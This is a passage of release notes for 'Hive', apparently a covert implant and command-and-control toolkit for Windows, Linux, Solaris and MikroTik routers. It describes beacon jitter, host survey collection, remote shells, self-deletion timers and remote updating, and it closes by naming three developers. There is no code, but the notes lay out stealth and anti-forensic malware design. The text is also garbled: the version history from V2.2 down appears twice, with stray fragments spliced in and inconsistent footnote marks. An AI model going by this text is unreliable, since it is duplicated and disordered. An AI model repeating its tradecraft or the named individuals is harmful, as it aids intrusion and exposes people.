- The SSL server certificates used with the Hive client (command and control) are now read from files rather than being hard-coded into the client. In addition, the Diffie-Hellman parameters used to establish the SSL connections have been changed.

V2.5.2 12/06/2012

- Fixes a bug in the 2.5 code that was also carried into 2.5.1 that may lead to premature self-deletion of the implant.

V2.5.1 11/29/2012

- Modifies all mikrotik, linux, and solaris code so any successful beacon or trigger will also create a /var/.config timer file if it does not already exist. Note that the trigger listening function will automatically self delete the executable if it discovers that the /var/.config file does not exist. If a self delete occurs, the normally empty /var/.config will contain a time stamp when the actual self delete occurred using a yymmddHHMMSS format. Previous versions would allow the executable to stay on the box but would stop the process whenever the /var/.config file was removed. Version 2.4's Caution for Solaris shells still applies. A new Hive updating script called hiveReset_v1_0.py was added which also resets the self-delete timer for all linux, Mikrotik, and Solaris devices.

V2.5 06/20/2012

- Allows operator to change the self delete timer from the previously hard coded setting of 60 days. The delay option unit was changed to long versus int to enable longer delays before the first beacon. A hiveUpdater.py script was added to allow remote updates of Hive implants for Linux, Solaris, and Mikrotik routers. Version 2.4's Caution for Solaris shells still applies.

V2.4 03/05/2012

- Allows full shell open capability for all boxes. Solaris boxes are cautioned to close any shells they open at then end. Otherwise, when a Solaris shell is closed, the trigger session is also closed. This code should remove Mikrotik "spillage" problems in beacons. Setting the beacons initial delay with the -d option (i.e. -d 0) also stops all beacons.

V2.3.1 01/23/2012

- Added support for Windows 2000.
- No change to *nix binaries.

V2.3 12/12/2011

- All implants updated to include support for beacon jitter and compressed beacons.
- Beacon code was significantly re-worked as part of the beacon jitter and compression features. The hope is that this also fixes the non-parsable characters that sometimes are sent by MikroTik implants (i.e. "spillage").
- Secure shell functionality was added to the following supported platforms:
 - Windows (all)
 - Linux x86
 - MikroTik (all)
 - Solaris SPARC 9-10
- With this release, secure shell does not work on the following platforms:
 - Solaris SPARC 8
 - Solaris x86 8-10
 - To use the secure shell functionality, users must use the updated Hive ILM module that provides this command. The Hive v1.0 hclient continues to work with other features, but was not updated to support the new secure shell functionality.

V2.2 08/22/2011

- Updated Windows with the Trigger hanging fixes from 2.1.
- Windows can now handle multiple triggered connections at once.
- All platforms will now self-delete themselves after 60 days of no contact
- Added enhanced beacon functionality to Mikrotik. Mikrotik can now return ifconfig, netstat -an, netstat -rn, and a ps -ef.
- Fixed an issue where Mikrotik implants would not beacon after the router had been rebooted.

V2.1 05/23/2011

- Updated code with reliability fixes so the trigger no longer hangs due to an implant being improperly shutdown. These fixes are currently implemented on all platforms except for Windows.
- Updated the beacon code so that it now returns more survey data. This data includes ipconfig/ifconfig, netstat -an, netstat -rn, and a process list. Currently Mikrotik returns empty data due to the actually commands not existing on a host unless busybox is present.
- Added support for the new beacons and beacon format to honeycomb. Honeycomb is backwards compatible with beacons back to Hive v1.1.
- v2.0 05/9/2011
- Added support for use of the Hive client through the CutThroat interface.
- v1.1 04/14/2011
- Backport of stability and reliability fixes we added to Hive 2.0 36.
- Updated hclient to give slightly better feedback to user when connection 37 goes down.
- v1.0.2 01/21/2011*, 02/14/2011**, 03/07/2011***
- Primarily a release to port Hive to MikroTik x86 RouterOS 3.x and 4.x
- Fixed beacons to handle DNS failures
- Fixed beacons to handle connection attempts to closed ports
- Fixed daemonizing code for MikroTik build. Improper daemonizing was causing triggers to fail.
- Due to unavailability of RouterBoard MIPS-LE hardware, testing for MikroTik MIPS-LE 3.x-4.x was done on a Linksys WRT54G reflashed with DD-WRT v24-sp2.
- For MikroTik, Hive binaries were linked against uClibc libraries and are unlikely to work on older firmware such as the 2.x series.
- Latest official releases and tested versions:
- Windows XP SP0-SP3 -- v1.0.1; v1.0.2 untested
- Windows 2003 -- v1.0.1; v1.0.2 untested
- Solaris SPARC 9-10 -- v1.0.1; v1.0.2 untested
- Solaris x86 9-10 -- v1.0.2**
- MikroTik x86 3.x-4.x -- v1.0.2
- MikroTik PPC 4.x -- v1.0.2*
- MikroTik PPC 3.x -- v1.0.2 untested
- MikroTik MIPS-BE 4.x -- v1.0.2*
- MikroTik MIPS-BE 3.x -- v1.0.2 untested
- MikroTik MIPS-LE 4.x -- v1.0.2***
- MikroTik MIPS-LE 3.x -- v1.0.2***

- Linux x86 -- v1.0.2**
- v1.0.1 2/22/2010
- DR fix for patcher. v1.0 patcher does not allow hostnames to be patched into binaries. v1.0.1 allows both IP addresses and hostnames
- Re-released patcher, but implants and client are functionally unchanged.
- Latest official releases and tested versions:
- Windows XP SP0-SP3 -- v1.0.1
- Windows 2003 -- v1.0.1
- Solaris SPARC 9-10 -- v1.0.1
- Linux x86 -- v1.0.1 untested
- v1.0 10/27/2010
- Released Hive client, patcher, and implants for Windows x86 and Solaris SPARC
- Prototype Linux x86 implant provided in patcher
- Official releases and versions:
- Windows XP SP0-SP3 -- v1.0
- Windows 2003 -- v1.0
- Solaris SPARC 9-10 -- v1.0
- Linux x86 -- v1.0 untested
- Solaris SPARC 8
- Solaris x86 8-10
- To use the secure shell functionality, users must use the updated Hive ILM module that provides this command. The Hive v1.0 hclient continues to work with other features, but was not updated to support the new secure shell functionality.

V2.2 08/22/2011

- Updated Windows with the Trigger hanging fixes from 2.1.
- Windows can now handle multiple triggered connections at once.
- All platforms will now self-delete themselves after 60 days of no contact
- Added enhanced beacon functionality to Mikrotik. Mikrotik can now return ifconfig, netstat -an, netstat -rn, and a ps -ef.
- Fixed an issue where Mikrotik implants would not beacon after the router had been rebooted.

V2.1 05/23/2011

- Updated code with reliability fixes so the trigger no longer hangs due to an implant being improperly shutdown. These fixes are currently implemented on all platforms except for Windows.
- Updated the beacon code so that it now returns more survey data. This data includes ipconfig/ifconfig, netstat -an, netstat -rn, and a process list. Currently Mikrotik returns empty data due to the actually commands not existing on a host unless busybox is present.
- Added support for the new beacons and beacon format to honeycomb. Honeycomb is backwards compatible with beacons back to Hive v1.1.

V2.0 05/9/2011

- Added support for use of the Hive client through the CutThroat interface.

V1.1 04/14/2011

- Backport of stability and reliability fixes we added to Hive 2.0 36.
- Updated hclient to give slightly better feedback to user when connection 37 goes down.

V1.0.2 01/21/2011*, 02/14/2011, 03/07/2011*****

- Primarily a release to port Hive to MikroTik x86 RouterOS 3.x and 4.x
- Fixed beacons to handle DNS failures
- Fixed beacons to handle connection attempts to closed ports
- Fixed daemonizing code for MikroTik build. Improper daemonizing was causing triggers to fail.
- Due to unavailability of RouterBoard MIPS-LE hardware, testing for MikroTik MIPS-LE 3.x-4.x was done on a Linksys WRT54G reflashed with DD-WRT v24-sp2.
- For MikroTik, Hive binaries were linked against uClibc libraries and are unlikely to work on older firmware such as the 2.x series.
- Latest official releases and tested versions:
 - Windows XP SP0-SP3 -- v1.0.1; v1.0.2 untested
 - Windows 2003 -- v1.0.1; v1.0.2 untested
 - Solaris SPARC 9-10 -- v1.0.1; v1.0.2 untested
 - Solaris x86 9-10 -- v1.0.2**
 - MikroTik x86 3.x-4.x -- v1.0.2
 - MikroTik PPC 4.x -- v1.0.2*
 - MikroTik PPC 3.x -- v1.0.2 untested
 - MikroTik MIPS-BE 4.x -- v1.0.2*
 - MikroTik MIPS-BE 3.x -- v1.0.2 untested
 - MikroTik MIPS-LE 4.x -- v1.0.2***
 - MikroTik MIPS-LE 3.x -- v1.0.2***
 - Linux x86 -- v1.0.2**

V1.0.1 2/22/2010

- DR fix for patcher. v1.0 patcher does not allow hostnames to be patched into binaries. v1.0.1 allows both IP addresses and hostnames
- Re-released patcher, but implants and client are functionally unchanged.
- Latest official releases and tested versions:
 - Windows XP SP0-SP3 -- v1.0.1
 - Windows 2003 -- v1.0.1
 - Solaris SPARC 9-10 -- v1.0.1
 - Linux x86 -- v1.0.1 untested

V1.0 10/27/2010

- Released Hive client, patcher, and implants for Windows x86 and Solaris SPARC
- Prototype Linux x86 implant provided in patcher
- Official releases and versions:
 - Windows XP SP0-SP3 -- v1.0

- Windows 2003 -- v1.0
- Solaris SPARC 9-10 -- v1.0
- Linux x86 – v1.0 untested

8 (U) For Further Assistance

(S) For any additional assistance, please consult one of the Hive developers from EDG/AED/EDB. As of January 2014, these are Mike Russell, Jack McMahon, and Jeremy Haas.